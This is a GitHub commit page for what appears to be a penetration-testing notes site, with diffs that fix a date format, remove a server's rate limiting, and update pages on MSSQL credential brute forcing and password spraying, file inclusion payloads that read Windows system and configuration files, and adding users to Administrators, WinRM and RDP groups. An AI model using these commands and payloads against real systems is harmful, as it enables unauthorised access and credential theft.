Skip to content

Commit

Permalink
fix LastUpdated string format
Browse files Browse the repository at this point in the history
  • Loading branch information
hideckies committed Apr 1, 2024
1 parent 209251d commit a051e78
Show file tree
Hide file tree
Showing 14 changed files with 297 additions and 140 deletions.
37 changes: 0 additions & 37 deletions serve.ts
Original file line number Diff line number Diff line change
@@ -1,49 +1,12 @@
import Server from "https:/deno.land/x/lume/core/server.ts";
import expires from "https:/deno.land/x/lume/middlewares/expires.ts";
import notFound from "https://deno.land/x/[email protected]/middlewares/not_found.ts";
import { sleep } from "https://deno.land/x/[email protected]/mod.ts";

const server = new Server({
port: 8000,
root: `${Deno.cwd()}/_site`,
});

// Rate limiting (max 20 requests per 10 seconds)
const maxRequests = 20;
const interval = 10000;
const rateLimitter = {
requestCount: 0,
lastResetTime: Date.now(),
};

server.use(async (request, next, conn) => {
const response = await next(request);

const url = request.url;

const remoteAddr = conn.remoteAddr;

const currentTime = Date.now();

// Reset rateLimitter after elapsing interval
if (currentTime - rateLimitter.lastResetTime > interval) {
rateLimitter.requestCount = 0;
rateLimitter.lastResetTime = currentTime;
}

// Rate limiting
if (rateLimitter.requestCount < maxRequests) {
rateLimitter.requestCount += 1;
} else {
console.log(`Rate limiting for ${JSON.stringify(remoteAddr)}. URL: ${url}. Sleep 30 seconds.`);
await sleep(30);
}

await sleep(1);

return response;
});

// Not found
server.use(notFound({
root: `${Deno.cwd()}/_site`,
Expand Down
2 changes: 1 addition & 1 deletion src/_components/footer.vto
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
<footer class="w-full p-8 bg-navy">
<footer class="mt-12 w-full p-8 bg-navy-light">
<div
class="
md:mx-auto w-full md:w-2/3
Expand Down
4 changes: 1 addition & 3 deletions src/_includes/layouts/exploit.vto
Original file line number Diff line number Diff line change
Expand Up @@ -61,9 +61,7 @@ bodyClass: body-exploit
<article>
<div class="w-full p-4">
<h1 id="exploit-title" class="text-4xl font-bold">{{ title }}</h1>

{{# <p class="my-3 text-base">Last modified: {{ date | date('yyyy-MM-dd') }}</p> #}}
<p class="my-3 text-base">Last modified: {{ date }}</p>
<p class="my-3 text-base">Last modified: {{ date.toISOString().split('T')[0] }}</p>

{{ if tags.length > 0 }}
<div class="my-3 flex flex-wrap items-end space-x-2 space-y-2">
Expand Down
6 changes: 3 additions & 3 deletions src/exploit/database/mssql-pentesting.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ tags:
refs:
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server
- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-ver16
date: 2023-12-14
date: 2024-04-01
draft: false
---

Expand Down Expand Up @@ -43,7 +43,7 @@ msf> use auxiliary/scanner/mssql/mssql_schemadump
### Brute Force Credentials

```sh
crackmapexec mssql <target-ip> -u username -p passwords.txt
netexec mssql <target-ip> -u username -p passwords.txt

hydra -L usernames.txt –p password <target-ip> mssql
hydra -l username –P passwords.txt <target-ip> mssql
Expand All @@ -56,7 +56,7 @@ hydra -l username –P passwords.txt <target-ip> mssql
If we found the specific user password, we might be able to find another user with the same password.

```bash
crackmapexec mssql example.com -u usernames.txt -p 'password'
netexec mssql example.com -u usernames.txt -p 'password' --no-bruteforce --continue-on-success
```

<br />
Expand Down
4 changes: 2 additions & 2 deletions src/exploit/shell/reverse-shell-cheat-sheet.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ tags:
refs:
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
date: 2024-02-08
date: 2024-04-01
draft: false
---

Expand Down Expand Up @@ -143,7 +143,7 @@ powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdA
### Bypass AV (Antivirus)

- [powercat](https://github.com/rexpository/powercat-v2.0)

- [Nim Reverse Shell](https://github.com/Sn1r/Nim-Reverse-Shell)
- [Custom Python Script](https://mayfly277.github.io/posts/GOADv2-pwning-part7/#command-execution-to-shell)

```py
Expand Down
19 changes: 17 additions & 2 deletions src/exploit/steganography/image-file-reparing.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,11 +4,13 @@ description: An image sometimes is corrupeted. We can repair it using some techn
tags:
- Steganography
refs:
date: 2023-07-09
date: 2024-04-01
draft: false
---

## Dump Hex from an Image
## Check the Cause of Damage

### Dump Hex from an Image

We can edit the image Hex header to repair the corrupted image to the correct format.
To do that, check the hex header at first.
Expand All @@ -18,6 +20,19 @@ xxd example.jpg | head
xxd example.png | head
```

### Using Tools

```sh
# for PNG
pngcheck example.png
# -vv: very verbosely check
pngcheck -vv example.png
```

<br />

<br />

## Edit Hex to Adding Magic Bytes

We might be able to repair a corrupted image by inserting magic bytes for each file format.
Expand Down
8 changes: 5 additions & 3 deletions src/exploit/web/security-risk/file-inclusion.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ tags:
- Web
refs:
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
date: 2024-02-18
date: 2024-04-01
draft: false
---

Expand Down Expand Up @@ -180,11 +180,13 @@ When our payload is successful, we can additionaly investigate local files and r
?page=/etc/bind/named.conf.default-zones

# Windows
?page=../../../../../../../../windows/system32/drivers/etc/hosts
?page=C:/Windows/debug/NetSetup.log
?page=C:/Windows/System32/drivers/etc/hosts
?page=C:/Windows/System32/inetsrv/config/applicationHost.config
?page=../../../../../../../../windows/system32/drivers/etc/hosts
?page=C:/Users/Public/Desktop/desktop.ini
?page=C:/Users/FUZZ/Desktop/desktop.ini # user enumeration
?page=C:/inetpub/wwwroot/
?page=C:/inetpub/wwwroot/<project>/web.config
?page=C:/xampp/apache/conf/httpd.conf
?page=C:/xampp/apache/conf/extra/httpd-userdir.conf
?page=C:/xampp/apache/conf/extra/httpd-vhosts.conf
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
---
title: Activate Administrator Account on Windows
description:
tags:
- Privilege Escalation
- Windows
refs:
date: 2024-04-01
draft: false
---

Open PowerShell as **Administrator**.

```powershell
net user administrator /active:yes
```

Now you can sign in to Administrator account.

After that, you should disable Administrator account as below:

```powershell
net user administrator /active:no
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
---
title: Add/Edit/Delete Users on Windows
description:
tags:
- Privilege Escalation
- Windows
refs:
date: 2024-04-01
draft: false
---

## Add New User

```powershell
net user /add <username> <password>
net user /add /domain <username> <password>
```

### with SecureString Password

```powershell
$Username = "John"
$Password = ConvertTo-SecureString "MyPassword123@" -AsPlainText -Force
$FullName = "John Doe"
$Description = "My new account"
$HomeDir = "C:\Users\John"
# Create new user
New-LocalUser -Name $Username -Password $Password -FullName $FullName -Description $Description -PasswordNeverExpires
# Add to "Users" local group
Add-LocalGroupMember -Group Users -Member $Username
```

Now reboot Windows computer and you can sign in the new account.

<br />

## Add User to Local Group

```powershell
# Add to the Administrators group.
net localgroup Administrators <username> /add
# Add to the WinRM group.
net localgroup "Remote Managment Users" <username> /add
# Add to the RDP group.
net localgroup "Remote Desktop Users" <username> /add
```

If we could add an user to the WinRM or RDP group, we can login **WinRM** or **RDP** with the user credential.

<br />

## Change User Password

```powershell
net user <username> <new-password>
```

<br />

## Delete User

```powershell
net user <username> /delete
```

<br />

## Delete User From Local Group

```powershell
# Delete from the Administrators group.
net localgroup Administrators <username> /delete
# Delete from the WinRM group.
net localgroup "Remote Management Users" <username> /delete
```
Loading

0 comments on commit a051e78

Please sign in to comment.